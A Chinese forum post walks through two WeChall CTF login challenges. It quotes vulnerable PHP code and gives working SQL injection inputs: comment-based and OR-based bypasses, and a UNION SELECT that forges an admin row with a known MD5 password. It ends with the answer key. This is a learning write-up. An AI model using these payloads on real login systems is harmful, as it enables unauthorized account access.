本帖最后由 tuziang 于 2019-7-19 11:57 编辑
WeChall是ctf的一个题库。直接上题目
你的任务很简单:以管理员身份登录。
重要源代码:
[PHP] 纯文本查看 复制代码 $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth1', $chall->lang('err_unknown'), false); # Unknown user
return false;
}
# Welcome back!
echo GWF_HTML::message('Auth1', $chall->lang('msg_welcome_back', htmlspecialchars($result['username'])), false);
# Challenge solved?
if (strtolower($result['username']) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
重点是第一行:
[PHP] 纯文本查看 复制代码 $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
两种方法:
方法一
username输入 admin'# 即可登录。
原理:用Mysql单行注释符号#将后半句AND语句注释掉。
$query = "SELECT * FROM users WHERE username='admin'#' AND password='$password'";
构成SQL语句
SELECT * FROM users WHERE username='admin'
故而登录成功。 补充:之所以不是php注释,是因为#在双引号中,只会显示它的字面量。
同样可以用-- --的后面要加空格。
方法二
username输入 admin' or '1 即可登录。
构成SQL语句
[SQL] 纯文本查看 复制代码 SELECT * FROM users WHERE username='admin' or '1' AND password='$password'
这里的1可以换成其他非空字符。
因为or在and的前面,所以可以理解成[SQL] 纯文本查看 复制代码 username='admin' 和
[SQL] 纯文本查看 复制代码 '1' AND password='$password' 进行或运算, 因此即使第二部分是假,整条语句也是真的。
第二题开始:
任务和上一题一样。重要源代码:
[PHP] 纯文本查看 复制代码 function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth2_db();
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username'";
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
return false;
}
#############################
### This is the new check ###
if ($result['password'] !== $password) {
echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false;
} # End of the new code ###
#############################
echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false);
if (strtolower($result['username']) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
return true;
}
从代码可以看到username password分开来验证。通常的利用方法是使用union构造已知MD5值的查询。
查询代码:
[PHP] 纯文本查看 复制代码 $query = "SELECT * FROM users WHERE username='$username'";
username一栏填写[PHP] 纯文本查看 复制代码 123' union select 1,'admin',md5('password');#
构成sql语句:
[SQL] 纯文本查看 复制代码 SELECT * FROM users WHERE username='123' union select 1,'admin',md5('password');#'
由于最后有个注释符号,所以相当于:
[SQL] 纯文本查看 复制代码 SELECT * FROM users WHERE username='123' union select 1,'admin',md5('password');
这句话首先通过username=123将原语句报错。因此返回的将会是第二条语句产生的信息。
而我们union select的是直接构造了用户名为admin,密码为password的md5值。这样就可以让程序误认为我们构造的信息就是它从数据库里面提取得到的信息。
验证密码正确是通过判断: $result['password'] 和 $password 是否一致。
$result['password']是用union构造的,因此password一栏填写password即可登录成功。
答案
username填写 123' union select 1,'admin',md5('password');#
password填写 password
|